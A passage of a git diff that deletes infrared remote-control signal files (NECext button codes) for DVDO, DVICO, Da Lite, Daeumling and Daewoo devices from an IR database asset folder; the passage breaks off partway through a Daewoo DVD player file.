+++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: UHF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: Sys -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: TV/R -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_F2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_2/ABC -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_3/DEF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: KEY_4/GHI -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_5/JKL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_6/MNO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_7/PQRS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_8/TUV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_9/WXYZ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_F3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: KEY_F1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DVDO/Scaler/0,45.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DVDO/Scaler/0,45.ir deleted file mode 100644 index 7a0a69153..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DVDO/Scaler/0,45.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 00 2D 00 00 -command: 5A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DVDO/Scaler/132,32.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DVDO/Scaler/132,32.ir deleted file mode 100644 index 76f2b1290..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DVDO/Scaler/132,32.ir +++ /dev/null @@ -1,566 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INPUT_ADJUST -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 00 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 01 00 00 00 -# -name: MENU_UP -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 01 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 01 00 00 00 -# -name: DN -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 02 00 00 00 -# -name: MENU_DOWN -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 02 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 02 00 00 00 -# -name: SVID_2 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 04 00 00 00 -# -name: S-VIDEO_2 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 04 00 00 00 -# -name: SVIDEO_2 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 04 00 00 00 -# -name: INPUT_S-VIDEO_2 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 04 00 00 00 -# -name: LFT -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 05 00 00 00 -# -name: MENU_LEFT -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 05 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 05 00 00 00 -# -name: PAN -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 07 00 00 00 -# -name: CURTAIN -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 08 00 00 00 -# -name: VIDE_2 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 0A 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 0A 00 00 00 -# -name: INPUT_VIDEO_2 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 0A 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 0B 00 00 00 -# -name: MENU_SELECT_/_ENTE -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 0B 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 0B 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 0C 00 00 00 -# -name: OUTPUT_SETUP -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 0E 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 0F 00 00 00 -# -name: SDI -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 10 00 00 00 -# -name: INPUT_SDI -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 10 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 11 00 00 00 -# -name: TEST_PATTERN_RIGHT -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 11 00 00 00 -# -name: TEST_PATTERN_> -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 11 00 00 00 -# -name: CONFIG -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 12 00 00 00 -# -name: CONFIGURATION -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 12 00 00 00 -# -name: RT -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 13 00 00 00 -# -name: MENU_RIGHT -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 13 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 13 00 00 00 -# -name: COMP_2 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 14 00 00 00 -# -name: COMP_2 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 14 00 00 00 -# -name: COMPONENT_2 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 14 00 00 00 -# -name: INPUT_COMPONENT_2 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 14 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 15 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 16 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 17 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 19 00 00 00 -# -name: PICTURE_CONTROL -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 1A 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 1B 00 00 00 -# -name: TEST_PATTERN_LEFT -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 1B 00 00 00 -# -name: TEST_PATTERN_< -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 1B 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 1D 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 1E 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 1F 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 40 00 00 00 -# -name: TEST_PATTERNS -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 41 00 00 00 -# -name: TEST_PATTERN_ON/OFF -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 41 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 42 00 00 00 -# -name: POWER_(ON) -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 42 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 43 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 44 00 00 00 -# -name: 4:3 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 45 00 00 00 -# -name: LBX -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 46 00 00 00 -# -name: 16:9 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 47 00 00 00 -# -name: PRESET -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 48 00 00 00 -# -name: PASSTHRU -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 49 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 4A 00 00 00 -# -name: INPUT_VIDEO_1 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 4A 00 00 00 -# -name: AUTO -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 4B 00 00 00 -# -name: AUTO_INPUT -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 4B 00 00 00 -# -name: INPUT_AUTO -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 4B 00 00 00 -# -name: DVI -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 4C 00 00 00 -# -name: SVID_1 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 4E 00 00 00 -# -name: S-VIDEO_1 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 4E 00 00 00 -# -name: SVIDEO_1 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 4E 00 00 00 -# -name: INPUT_S-VIDEO_1 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 4E 00 00 00 -# -name: COMP_1 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 4F 00 00 00 -# -name: COMPONENT_1 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 4F 00 00 00 -# -name: INPUT_COMPONENT_1 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 4F 00 00 00 -# -name: DISPLAY_PROFILES -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 50 00 00 00 -# -name: DISPLAY_PROPERTIES -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 50 00 00 00 -# -name: VIEWING_MODES -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 51 00 00 00 -# -name: INPUT_ASPECT_RATIO -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 52 00 00 00 -# -name: TEST_PATTERN_ON/OFF -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 52 00 00 00 -# -name: BORDER -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 53 00 00 00 -# -name: CROP -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 54 00 00 00 -# -name: ASPECT -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 55 00 00 00 -# -name: HDMI_1 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 56 00 00 00 -# -name: INPUT_HDMI_1 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 56 00 00 00 -# -name: HDMI_2 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 57 00 00 00 -# -name: INPUT_HDMI_2 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 57 00 00 00 -# -name: HDMI_3 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 58 00 00 00 -# -name: INPUT_HDMI_3 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 58 00 00 00 -# -name: HDMI_4 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 59 00 00 00 -# -name: INPUT_HDMI_4 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 59 00 00 00 -# -name: RGBHV -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 5A 00 00 00 -# -name: INPUT_RGBHV -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 5A 00 00 00 -# -name: STANDBY -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 5B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DVDO/Video Processor/0,45.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DVDO/Video Processor/0,45.ir deleted file mode 100644 index 7a0a69153..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DVDO/Video Processor/0,45.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 00 2D 00 00 -command: 5A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DVDO/Video Processor/132,32.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DVDO/Video Processor/132,32.ir deleted file mode 100644 index 578dd5e07..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DVDO/Video Processor/132,32.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: REM:_INPUT_ADJUST -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 00 00 00 00 -# -name: NAV:_UP -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 01 00 00 00 -# -name: NAV:_DOWN -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 02 00 00 00 -# -name: INPUT:_S-VIDEO_2 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 04 00 00 00 -# -name: NAV:_LEFT -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 05 00 00 00 -# -name: REM:_PAN -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 07 00 00 00 -# -name: REM:_CURTAIN -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 08 00 00 00 -# -name: INPUT:_VIDEO_2 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 0A 00 00 00 -# -name: NAV:_ENTER -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 0B 00 00 00 -# -name: REM:_ZOOM -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 0C 00 00 00 -# -name: REM:_OUTPUT_SETUP -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 0E 00 00 00 -# -name: INPUT:_SDI -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 10 00 00 00 -# -name: TEST:_NEXT -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 11 00 00 00 -# -name: REM:_CONFIGURATION -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 12 00 00 00 -# -name: NAV:_RIGHT -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 13 00 00 00 -# -name: INPUT:_COMPONENT_2 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 14 00 00 00 -# -name: REM:_PIC_CONTROL -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 1A 00 00 00 -# -name: TEST:_PREVIOUS -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 1B 00 00 00 -# -name: REM:_INFORMATION -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 40 00 00 00 -# -name: NAV:_MENU -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 43 00 00 00 -# -name: NAV:_EXIT -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 44 00 00 00 -# -name: REM:_4:3 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 45 00 00 00 -# -name: REM:_16:9 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 47 00 00 00 -# -name: INPUT:_VIDEO_1 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 4A 00 00 00 -# -name: INPUT:_AUTO -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 4B 00 00 00 -# -name: INPUT:_S-VIDEO_1 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 4E 00 00 00 -# -name: INPUT:_COMPONENT_1 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 4F 00 00 00 -# -name: REM:_DISP_PROFILES -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 50 00 00 00 -# -name: REM:_VIEW_MODES -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 51 00 00 00 -# -name: REM:_INPUT_AR -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 52 00 00 00 -# -name: TEST:_ON/OFF -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 52 00 00 00 -# -name: REM:_BORDER -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 53 00 00 00 -# -name: REM:_CROP -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 54 00 00 00 -# -name: REM:_ASPECT -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 55 00 00 00 -# -name: INPUT:_HDMI_1 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 56 00 00 00 -# -name: INPUT:_HDMI_2 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 57 00 00 00 -# -name: INPUT:_HDMI_3 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 58 00 00 00 -# -name: INPUT:_HDMI_4 -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 59 00 00 00 -# -name: INPUT:_RGBHV -type: parsed -protocol: NECext -address: 84 20 00 00 -command: 5A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DVICO/Unknown_FusionRemote/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DVICO/Unknown_FusionRemote/1,-1.ir deleted file mode 100644 index 8f6662ddd..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DVICO/Unknown_FusionRemote/1,-1.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: dtv -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0D 00 00 00 -# -name: KEY_MP3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0E 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: ratio -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 19 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1A 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1B 00 00 00 -# -name: profile -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1E 00 00 00 -# -name: screen -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1F 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 42 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 43 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 46 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 47 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 48 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 49 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4C 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4D 00 00 00 -# -name: KEY_PC -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4E 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4F 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 50 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 51 00 00 00 -# -name: snapshot -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 52 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 53 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 54 00 00 00 -# -name: alttab -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 55 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 57 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 58 00 00 00 -# -name: input -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 59 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5A 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5B 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5E 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Da Lite/Screen/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Da Lite/Screen/0,-1.ir deleted file mode 100644 index 85e5d5991..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Da Lite/Screen/0,-1.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daeumling/Unknown_SR200/128,38.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daeumling/Unknown_SR200/128,38.ir deleted file mode 100644 index 371a09483..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daeumling/Unknown_SR200/128,38.ir +++ /dev/null @@ -1,122 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 00 00 00 00 -# -name: MEM -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 04 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 06 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 07 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 08 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 0C 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 0D 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 0E 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 0F 00 00 00 -# -name: HOCH -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 12 00 00 00 -# -name: RUNTER -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 13 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 15 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 18 00 00 00 -# -name: PL -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 19 00 00 00 -# -name: SET -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 1A 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 1B 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 1C 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 1D 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 1E 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 80 26 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/DVD Player/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/DVD Player/21,-1.ir deleted file mode 100644 index c9f9a1823..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/DVD Player/21,-1.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 09 00 00 00 -# -name: 100 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0A 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0B 00 00 00 -# -name: OUTPUT -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0C 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0D 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0E 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 11 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 12 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 13 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 13 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 14 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 14 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 15 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 16 00 00 00 -# -name: CURSER_UP -type: parsed -protocol: 